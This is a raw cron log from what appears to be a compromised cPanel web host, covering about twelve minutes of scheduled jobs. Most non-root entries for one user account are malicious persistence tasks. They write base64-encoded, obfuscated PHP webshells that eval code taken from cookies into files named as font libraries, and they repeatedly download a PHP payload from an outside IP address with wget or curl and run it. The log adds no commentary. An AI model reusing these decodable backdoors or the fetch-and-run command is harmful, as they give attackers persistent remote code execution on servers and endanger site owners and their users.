Sep  8 08:02:01 ip-184-168-122-23 CROND[10165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:02:01 ip-184-168-122-23 CROND[10163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:02:01 ip-184-168-122-23 CROND[10166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:02:01 ip-184-168-122-23 CROND[10164]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:02:01 ip-184-168-122-23 CROND[10167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:03:01 ip-184-168-122-23 CROND[10261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:03:01 ip-184-168-122-23 CROND[10263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:03:01 ip-184-168-122-23 CROND[10264]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:03:01 ip-184-168-122-23 CROND[10268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:04:01 ip-184-168-122-23 CROND[10342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:04:01 ip-184-168-122-23 CROND[10347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:04:01 ip-184-168-122-23 CROND[10344]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:04:01 ip-184-168-122-23 CROND[10346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:04:01 ip-184-168-122-23 CROND[10345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:05:02 ip-184-168-122-23 CROND[10567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:05:02 ip-184-168-122-23 CROND[10568]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 08:05:02 ip-184-168-122-23 CROND[10569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:05:02 ip-184-168-122-23 CROND[10571]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 08:05:02 ip-184-168-122-23 CROND[10574]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 08:05:02 ip-184-168-122-23 CROND[10575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:05:02 ip-184-168-122-23 CROND[10576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:06:01 ip-184-168-122-23 CROND[10675]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:06:01 ip-184-168-122-23 CROND[10677]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:06:01 ip-184-168-122-23 CROND[10679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:06:01 ip-184-168-122-23 CROND[10678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:06:01 ip-184-168-122-23 CROND[10680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:07:01 ip-184-168-122-23 CROND[10907]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:07:01 ip-184-168-122-23 CROND[10908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:07:01 ip-184-168-122-23 CROND[10910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:07:01 ip-184-168-122-23 CROND[10911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:08:01 ip-184-168-122-23 CROND[11109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:08:01 ip-184-168-122-23 CROND[11113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:08:01 ip-184-168-122-23 CROND[11114]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:08:01 ip-184-168-122-23 CROND[11112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:08:01 ip-184-168-122-23 CROND[11115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:09:02 ip-184-168-122-23 CROND[11202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:09:02 ip-184-168-122-23 CROND[11204]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:09:02 ip-184-168-122-23 CROND[11205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:09:02 ip-184-168-122-23 CROND[11208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:09:02 ip-184-168-122-23 CROND[11209]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 08:10:01 ip-184-168-122-23 CROND[11309]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 08:10:01 ip-184-168-122-23 CROND[11311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:10:01 ip-184-168-122-23 CROND[11313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:10:01 ip-184-168-122-23 CROND[11310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:10:01 ip-184-168-122-23 CROND[11315]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 08:10:01 ip-184-168-122-23 CROND[11314]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:10:01 ip-184-168-122-23 CROND[11317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:10:01 ip-184-168-122-23 CROND[11319]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 08:11:02 ip-184-168-122-23 CROND[11423]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:11:02 ip-184-168-122-23 CROND[11426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:11:02 ip-184-168-122-23 CROND[11424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:11:02 ip-184-168-122-23 CROND[11425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:12:01 ip-184-168-122-23 CROND[11516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:12:01 ip-184-168-122-23 CROND[11518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:12:01 ip-184-168-122-23 CROND[11520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:12:01 ip-184-168-122-23 CROND[11519]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:12:01 ip-184-168-122-23 CROND[11521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:13:01 ip-184-168-122-23 CROND[11663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:13:01 ip-184-168-122-23 CROND[11664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:13:01 ip-184-168-122-23 CROND[11668]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:13:01 ip-184-168-122-23 CROND[11669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:14:01 ip-184-168-122-23 CROND[11886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:14:01 ip-184-168-122-23 CROND[11888]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:14:01 ip-184-168-122-23 CROND[11891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
